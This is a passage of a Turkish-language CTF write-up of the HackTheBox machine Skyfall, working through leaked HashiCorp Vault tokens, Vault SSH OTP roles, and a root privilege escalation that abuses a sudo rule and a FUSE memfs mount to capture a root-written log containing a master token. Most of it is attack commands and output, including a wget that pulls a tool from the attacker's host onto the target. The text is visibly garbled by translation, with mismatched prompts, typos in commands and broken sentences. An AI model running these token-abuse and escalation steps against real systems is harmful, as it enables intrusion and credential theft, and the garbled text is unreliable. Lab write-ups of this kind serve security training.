-rwxrwx--- 1 root vboxsf    1 Nov  9  2023 .bash_history
-rwxrwx--- 1 root vboxsf  220 Jan  6  2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3953 Nov  9  2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct  9  2023 .cache
-rwxrwx--- 1 root vboxsf  807 Jan  6  2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov  9  2023 .ssh
-rwxrwx--- 1 root vboxsf    0 Oct  9  2023 .sudo_as_admin_s```
aurora@feniks$ ls -la home_backup
total 32
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:15 .
drwxrwx--- 1 root vboxsf 4096 Aug 24 16:38 ..
-rwxrwx--- 1 root vboxsf    1 Nov  9  2023 .bash_history
-rwxrwx--- 1 root vboxsf  220 Jan  6  2022 .bash_logout
-rwxrwx--- 1 root vboxsf 3771 Nov  9  2023 .bashrc
drwxrwx--- 1 root vboxsf 4096 Oct  9  2023 .cache
-rwxrwx--- 1 root vboxsf  807 Jan  6  2022 .profile
drwxrwx--- 1 root vboxsf 4096 Nov  9  2023 .ssh
-rwxrwx--- 1 root vboxsf    0 Oct  9  2023 .sudo_as_admin_successfulThe difference is interesting:
aurora@feniks$ diff home_backup_v2/.bashrc home_backup/.bashrc
43,45d42
< export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
< export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
< 
10.10.11.254 skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb

SSH

Kasa Kurulumu

Buradaki "kasa"  aslında 2020'de karşılaştığım  HashiCorp Vault'tur . Craft'ta ikili dosya kutuya kurulmuştu. Bunu kutuma buradakivault  talimatları kullanarak kuracağım  . Craft'ta olduğu gibi, oturum açmış kullanıcı hakkında bilgi arayarak başlayabilirim. İstemcinin çalışması için üç ortam değişkeni ayarlamam gerekecek:
aurora@feniks$ export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
aurora@feniks$ export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
aurora@feniks$ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
aurora@feniks$ vault token lookup
Key                  Value
---                  -----
accessor             rByv1coOBC9ITZpzqbDtTUm8
creation_time        1699563963
creation_ttl         768h
display_name         token-askyy
entity_id            n/a
expire_time          2073-10-27T21:06:03.043964076Z
explicit_max_ttl     0s
id                   hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
issue_time           2023-11-09T21:06:03.445155372Z
last_renewal         2023-11-20T16:43:24.043964166Z
last_renewal_time    1700498604
meta                 <nil>
num_uses             0
orphan               true
path                 auth/token/create
policies             [default developers]
renewable            true
ttl                  431063h45m10s
type                 serviceIn Craft I next did a list of secrets, but here I don’t have that access:
aurora@feniks$ vault secrets list
Error listing secrets engines: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/mounts
Code: 403. Errors:

* 1 error occurred:
        * permission denied#### Identify SSH Paths

Bir sonraki adım için, bu token'ın SSH erişimi sağlayan bir role erişimi olduğunu bulmam gerekiyor. Oraya ulaşmak için belirgin bir sağlam yol yok, ancak bu sıçramayı yapmanın en az üç yolunu biliyorum:

SSH'de Tahmin Et

Vault'un temel yeteneklerinden biri SSH erişimi için sırları yönetmektir ve buna erişim sağlamak benim için kesinlikle yararlı olacaktır. Çoğu şeye erişmeye çalıştığımda yukarıdaki gibi bir 403 hatası döndürdüğünü fark edeceğim. SSH'yi listelemeye çalıştığımda farklı bir şey döndürüyor:
aurora@feniks$ vault list ssh
No value found at ssh

Bu token'ın . erişiminde farklı bir şey var  ssh.  SSH belgeleri,  yapılacak bir şeyin rolleri listelemek olduğunu gösteriyor ve bu işe yarıyor:

aurora@feniks$ vault list ssh/roles
Keys----admin_otp_key_role
dev_otp_key_role

geliştirici Politikası

İlk olarak mevcut token'ıma bağlı politikalara bakmaya çalışacağım, ancak istemci erişimim olmadığını söylüyor:

aurora@feniks$ vault token capabilities policies
deny
aurora@feniks$ vault token capabilities policies/list
deny
aurora@feniks$ vault token capabilities policies/read
deny

Bu politikaları doğrudan okumaya çalışırsam, bu da başarısız oluyor:

aurora@feniks$ vault policy list
Error listing policies: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl?list=true
Code: 403. Errors:

* 1 error occurred:
        * permission denied   

aurora@feniks$ vault policy read default
Error reading policy named default: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl/default
Code: 403. Errors:

* 1 error occurred:
        * permission denied

aurora@vault policy read developer
Error reading policy named developer: Error making API request.

URL: GET http://prd23-vault-internal.skyfall.htb/v1/sys/policies/acl/developer
Code: 403. Errors:

* 1 error occurred:
        * permission denied

Erişmeye çalışıyor  ve başarısız oluyor.  Belgelerde CLI tarafından kullanılmayan (anladığım kadarıyla)  başka bir uç nokta daha/v1/sys/policies/acl/developer  var  . Çalışan bu:/v1/sys/policy/[name]

aurora@feniks$ curl -s -XGET "http://prd23-vault-internal.skyfall.htb/v1/sys/policy/developers" -H 'X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE' | jq .
{
  "rules": "path \"sys/policy/developers\" {\n  capabilities = [  \"read\" ]\n}\n\npath \"ssh/*\" {\n  capabilities = [ \"list\" ]\n}\n\npath \"ssh/creds/dev_otp_key_role\" {\n  capabilities = [\"create\", \"read\", \"update\"]\n}\n",
  "name": "developers",
  "request_id": "d1ef5bf4-fde7-6dd9-eac4-675170bb4900",
  "lease_id": "",
  "renewable": false,
  "lease_duration": 0,
  "data": {
    "name": "developers",
    "rules": "path \"sys/policy/developers\" {\n  capabilities = [  \"read\" ]\n}\n\npath \"ssh/*\" {\n  capabilities = [ \"list\" ]\n}\n\npath \"ssh/creds/dev_otp_key_role\" {\n  capabilities = [\"create\", \"read\", \"update\"]\n}\n"
  },
  "wrap_info": null,
  "warnings": null,
  "auth": null
}

İşte  rules en ilginç kısım:

aurora@feniks$ curl -s -XGET "http://prd23-vault-internal.skyfall.htb/v1/sys/policy/developers" -H 'X-Vault-Token: hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE' | jq '.rules' -r
path "sys/policy/developers" {
  capabilities = [  "read" ]
}

path "ssh/*" {
  capabilities = [ "list" ]
}

path "ssh/creds/dev_otp_key_role" {
  capabilities = ["create", "read", "update"]
}

Bu token'ın bu SSH rolüne erişimi olduğunu gösteriyor  dev_otp_key_role.

sys/dahili/ui/sonuç-acl

Bu StackOverflow  yanıtı, mevcut token'ın tüm yeteneklerini dökecek CLI'daki başka bir uç noktayı gösterir:
aurora@feniks$ vault read sys/internal/ui/resultant-acl --format=json|jq -r .data

{
  "exact_paths": {
    "auth/token/lookup-self": {
      "capabilities": [
        "read"
      ]
    },
    "auth/token/renew-self": {
      "capabilities": [
        "update"
      ]
    },
    "auth/token/revoke-self": {
      "capabilities": [
        "update"
      ]
    },
    "ssh/creds/dev_otp_key_role": {
      "capabilities": [
        "create",
        "read",
        "update"
      ]
    },
    "sys/capabilities-self": {
      "capabilities": [
        "update"
      ]
    },
    "sys/control-group/request": {
      "capabilities": [
        "update"
      ]
    },
    "sys/internal/ui/resultant-acl": {
      "capabilities": [
        "read"
      ]
    },
    "sys/leases/lookup": {
      "capabilities": [
        "update"
      ]
    },
    "sys/leases/renew": {
      "capabilities": [
        "update"
      ]
    },
    "sys/policy/developers": {
      "capabilities": [
        "read"
      ]
    },
    "sys/renew": {
      "capabilities": [
        "update"
      ]
    },
    "sys/tools/hash": {
      "capabilities": [
        "update"
      ]
    },
    "sys/wrapping/lookup": {
      "capabilities": [
        "update"
      ]
    },
    "sys/wrapping/unwrap": {
      "capabilities": [
        "update"
      ]
    },
    "sys/wrapping/wrap": {
      "capabilities": [
        "update"
      ]
    }
  },
  "glob_paths": {
    "cubbyhole/": {
      "capabilities": [
        "create",
        "delete",
        "list",
        "read",
        "update"
      ]
    },
    "ssh/": {
      "capabilities": [
        "list"
      ]
    },
    "sys/tools/hash/": {
      "capabilities": [
        "update"
      ]
    }
  },
  "root": false
}

createBu çıktı, bu token'ın üzerinde ,  read, ve  update yeteneklerine  sahip olduğunu gösterir  ssh/creds/dev_otp_key_role.

SSH

Bu token'ın erişebileceğini bilerek  dev_otp_key_roleve MinIO'dan kullanıcı adı listesiyle, SSH üzerinden . askyy ile giriş yapmayı deneyeceğim  vault. askyy, bu token'ı kendi sunucularında bulunduran baş geliştiricidir  .bashrc, bu yüzden önce onları deneyeceğim:
aurora@feniks$ vault ssh -role dev_otp_key_role -mode otp askyy@skyfall.htb
failed to run ssh command: exit status 6

vault ssh bir mod gerektirir ve rol adında "otp" terimi verildiğinde, onunla gideceğim. Buradaki ikili, API'ye ( /v1/ssh/creds/dev_otp_key_role) bir istekte bulunuyor ve bağlanmayı denemek için geri aldığı parolayı kullanıyor  sshpass . Yine de başarısız olabilir.Man  sshpass sayfasının  söylediği çıkış durumu 6:

Diğer tüm programlarda olduğu gibi, sshpass da başarılı olduğunda 0 döndürür. Başarısızlık durumunda, aşağıdaki dönüş kodları kullanılır:

  1. Geçersiz komut satırı argümanı
  2. Çelişkili argümanlar verildi
  3. Genel çalışma zamanı hatası
  4. SSH'den tanınmayan yanıt (ayrıştırma hatası)
  5. Geçersiz/yanlış şifre
  6. Ana bilgisayarın genel anahtarı bilinmiyor. sshpass yeni anahtarı onaylamadan çıkıyor.

Bu bir açık anahtar sorunu! Eğer eklersem  --strict-host-key-checking=no, işe yarıyor:

aurora@feniks$ ault ssh --role dev_otp_key_role --mode otp --strict-host-key-checking=no askyy@skyfall.htb
Warning: Permanently added 'skyfall.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...[snip]...
askyy@skyfall:~$

Alternatif olarak, eğer bu SSH'a bağlanırsam ve anahtarı kabul edersem (doğru şifre olmasa bile), bu da işe yarayacaktır. Ve şunu yakalayabilirim  user.txt:

askyy@skyfall:~$ cat user.txt
********************************

Kabuk kök olarak

Sayım

Ana Dizinler
asyy, şu konumda ana dizine sahip tek kullanıcıdır  /home:
askyy@skyfall:/home$ ls
askyy

Ve kabuğu şu şekilde ayarlanmış tek kök olmayan kullanıcı  passwd:

askyy@skyfall:/home$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
askyy:x:1000:1000:Aurora Skyy:/home/askyy:/bin/bash

sudo

sudo Skyyy için bir kural var  :

askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml

vault-unseal Bu kullanıcı ikili dosyayı belirli bir  yaml dosya ve bir veya daha fazla argümanla  çalıştırabilir  vdh. Bu programı şu şekilde çalıştırmak  -h yardım menüsünü gösterir:

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
Usage:
  vault-unseal [OPTIONS]

Application Options:
  -v, --verbose        enable verbose output
  -d, --debug          enable debugging output to file (extra logging)
  -c, --config=PATH    path to configuration file

Help Options:
  -h, --help           Show this help message

[Bu programın] değiştirilmiş bir versiyonu gibi görünüyor[( GitHub - lrstanley/vault-unseal: Hashicorp Vault için otomatik-mühür açma yardımcı programı ). Sunmak yerine  --log-path, sunuyor  . Çalıştırıldığında  geçerli dizinde --debugbir dosya üretiyor  :debug.log

askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ ls -l
total 8
-rw------- 1 root root  590 Aug 27 12:37 debug.log
-rw-r----- 1 root askyy  33 Aug 25 17:49 user.txt

Root'a aittir ve sadece root tarafından okunabilir. askyy onu yeniden adlandırabilir ve silebilir, ancak içeriğine doğrudan erişemez.

Sigortayı Kötüye Kullanmak

Arka plan

Bu oldukça dar bir durum, ancak root'un yazdığı ve benim okumak istediğim bir dosya var. Nereye yazdığını kontrol edebiliyorum, ancak yine de göremiyorum.  Bunun için Filesystem in Userspace'i  (veya FUSE) kötüye kullanacağım. Varsayılan olarak birçok Linux dağıtımına kurulur ve sanal dosya sistemleri için kullanılır. Varsayılanda  /etc/fuse.conf, riskli bir seçenek var (varsayılan olarak yorumlanmış olduğunu düşünüyorum)  user_allow_other:
# The file /etc/fuse.conf allows for the following parameters:
#
# user_allow_other - Using the allow_other mount option works fine as root, in
# order to have it work as user you need user_allow_other in /etc/fuse.conf as
# well. (This option allows users to use the allow_other option.) You need
# allow_other if you want users other than the owner to access a mounted fuse.
# This option must appear on a line by itself. There is no value, just the
# presence of the option.

#user_allow_other


# mount_max = n - this option sets the maximum number of mounts.
# Currently (2014) it must be typed exactly as shown
# (with a single space before and after the equals sign).

#mount_max = 1000

Bu StackOverflow cevabı  bu yapılandırmanın risklerini ele alıyor. Temel olarak, bir kullanıcı bu seçenek olmadan bir dosya sistemi oluşturduğunda, yalnızca o kullanıcı dosya sistemine erişebilir. Ancak, bir kez  user_allow_other etkinleştirildiğinde, diğer kullanıcılar diğer kullanıcıların erişebileceği dosya sistemleri oluşturabilir.

FUSE Uygulamaları

Çok yaygın bir FUSE uygulaması  , SSH üzerinden uzak bir bilgisayarda bir dosya sistemi oluşturmaya olanak tanıyan  sshfs'diruser_allow_others . Yani teoride, Skyfall'dan ana bilgisayarıma SSHFS ile geri dönebilir, Skyfall'da ana bilgisayarımdaki bir klasöre eşlenen bir bağlama oluşturabilirim. Daha sonra, nedeniyle , root günlük dosyasını bu bağlamaya yazdığında, sistemimde görünecek ve SSH yaptığım kullanıcı olarak erişebileceğim. Ancak, HTB laboratuvarlarında makinemi SSH'ye açmak genellikle yapmaktan kaçındığım bir şeydir.  Çeşitli FUSE tabanlı uygulamalar oluşturmak için bir sürü örnek betiği olan  go-fuse adında şık bir Go projesi var. Özellikle ilgi çekici olanlardan biri memfs'dir . Bu, bir klasörü bir FUSE dosya sistemi olarak bağlar ve bu FS'ye yazılan tüm dosyaları dosyalara kaydeder.

Yerel memfs Demosu

Depoyu kutuma kopyalayacağım ve  examples/memfs dizine gireceğim. Orada projeyi oluşturacağım:
aurora@feniks$ ls
main.go
aurora@feniks$ go build
error obtaining VCS status: exit status 128
        Use -buildvcs=false to disable VCS stamping.
aurora@feniks$ go build -buildvcs=false
aurora@feniks$ ls
main.go  memfs

İkili  memfs dosya, bağlanacak bir dizin ve çıktı dosyaları için bir önek alır:

aurora@feniks$ ./memfs 
usage: main MOUNTPOINT BACKING-PREFIX

Bir test dizini oluşturup çalıştıracağım, orada takılıyor:

aurora@feniks$ ./memfs ~/testfs/ memfsoutput-
Mounted!

Başka bir terminalden yeni FS'ye bazı dosyalar yazacağım:

aurora@feniks$ echo "testing..." > test/test1
aurora@fenikscky$ echo "testing again..." > testfs/test2

Çalıştırdığım dizinde  memfs iki yeni dosya var:

aurora@feniks$ ls
main.go  memfs  memfsoutput-1  memfsoutput-2
aurora@fenikscky$ cat memfsoutput-1
testig...
aurora@feniks@hacky$ cat memfsoutput-2
testing again...

Eğer dosya sistemine root olarak yazmaya çalışırsam, başarısız oluyorum:

root@hacky:/home/oxdf# echo "this is a root test" > testfs/from_root
-bash: testfs/from_root: Permission denied

Bunun nedeni sistemimin . ile ayarlanmamış olmasıdır  user_allow_others. Eğer o satıra girip  /etc/fuse.conf yorumunu kaldırırsam, yine de başarısız oluyor. Go betiğini biraz güncellemem gerekecek. Bağlamayı öldüreceğim ve  sudo umount ~/testfs.In  main.go, oluşturma için bir seçenek ekleyeceğim  fuse :

        server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
                Debug: *debug,
                AllowOther: true, // added this
        })

Şimdi yeniden oluşturup tekrar monte edeceğim:

aurora@feniks$ go build -buildvcs=false
aurora@feniks$ ./memfs ~/testfs/ memfsoutput-
Mounted!

Şimdi kök kabuğundan:

root@feniks:/home/aurora# echo "now it should work" > testfs/as_root
root@feniks:/home/aurora# cat testfs/as_root 
now it should work

Ve dosya kaydedildi:

root@feniks:/home/aurora# cat hackthebox/skyfall-10.10.11.254/go-fuse/example/memfs/memfsoutput-1 
now it should work

Skyfall'da

memfs Derlenmiş olanı Skyfall'a yükleyeceğim  , bir dizin oluşturacağım ve bağlayacağım:
askyy@skyfall:/dev/shm$ wget 10.10.14.6/memfs
--2024-08-27 18:33:29--  http://10.10.14.6/memfs
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3500122 (3.3M) [application/octet-stream]
Saving to: ‘memfs’
askyy@skyfall:/dev/shm$ mkdir out
askyy@skyfall:/dev/shm$ chmod +x memfs 
askyy@skyfall:/dev/shm$ ./memfs
usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ ./memfs out/ out
Mounted!

Başka bir SSH penceresinde o dizine gidip şunu çalıştıracağım  vault-unseal:

askyy@skyfall:/dev/shm/out$ cat debug.log 
2024/08/27 18:34:49 Initializing logger...
2024/08/27 18:34:49 Reading: /etc/vault-unseal.yaml
2024/08/27 18:34:49 Security Risk!
2024/08/27 18:34:49 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/08/27 18:34:49 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Check interval: 5s
2024/08/27 18:34:49 Max checks: 5
2024/08/27 18:34:49 Establishing connection to Vault...
2024/08/27 18:34:49 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Checking seal status
2024/08/27 18:34:49 Vault sealed: false

Oluşturuldu  debug.log, ancak depolandığı yer nedeniyle asyy'ye ait:

askyy@skyfall:/dev/shm/out$ ls -l
total 4
-rw------- 1 askyy askyy 590 Aug 27 18:34 debug.log

Yönetici Kasası

hata ayıklama günlüğü

Dosya  debug.log , kendisiyle birlikte kullanılan token'ı yönlendirir:
askyy@skyfall:/dev/shm/out$ cat debug.log 
2024/08/27 18:34:49 Initializing logger...
2024/08/27 18:34:49 Reading: /etc/vault-unseal.yaml
2024/08/27 18:34:49 Security Risk!
2024/08/27 18:34:49 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/08/27 18:34:49 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Check interval: 5s
2024/08/27 18:34:49 Max checks: 5
2024/08/27 18:34:49 Establishing connection to Vault...
2024/08/27 18:34:49 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/08/27 18:34:49 Checking seal status
2024/08/27 18:34:49 Vault sealed: false

Giriş yapmak

Bu token şu komutla çalışır  vault login :
aurora@feniks$ vault login
Token (will be hidden): 
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value                                                                    
---                  -----  
token                hvs.I0ewVsmaKU1SwVZAKR3T0mmG                
token_accessor       bXBeXR3r92WGQ8XgEDx6pIFu                                                 
token_duration       ∞                         
token_renewable      false
token_policies       ["root"]               
identity_policies    []       
policies             ["root"]

Politikası var  root ! Bu ümit verici.

SSH

| Yapabileceğim bir sürü numaralandırma var ama iki SSH rolü olduğunu hatırlayacağım:

<br>aurora@feniks$ vault list ssh/roles<br>Keys<br>----<br>admin_otp_key_role<br>dev_otp_key_role<br>

Bu belirteç şu rolleri okuyabilir:

<br>aurora@feniks$ vault read ssh/roles/admin_otp_key_role<br>Key Value<br>--- -----<br>allowed_users root<br>cidr_list 10.0.0.0/8<br>default_user nobody<br>exclude_cidr_list n/a<br>key_type otp<br>port 22<br>

İzin verilen kullanıcı root. SSH'a bağlanacağım:

<br>aurora@feniks$ vault ssh -role admin_otp_key_role -mode otp root@skyfall.htb<br>Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)<br>...[snip]...<br>

Ve bayrağı alacağım:

```
root@skyfall:~# cat root.txt
***


Aurora_Feniks

I have extensive experience working on various projects within the IT field, which has provided me with a comprehensive understanding of all areas related to information technology. My expertise in cyber security and my hands-on experience with current scenarios have given me a well-rounded perspective on security issues.

Yorum Gönder

Merhaba düşüncelerinizi bizimle paylaşın

Daha yeni Daha eski

İletişim Formu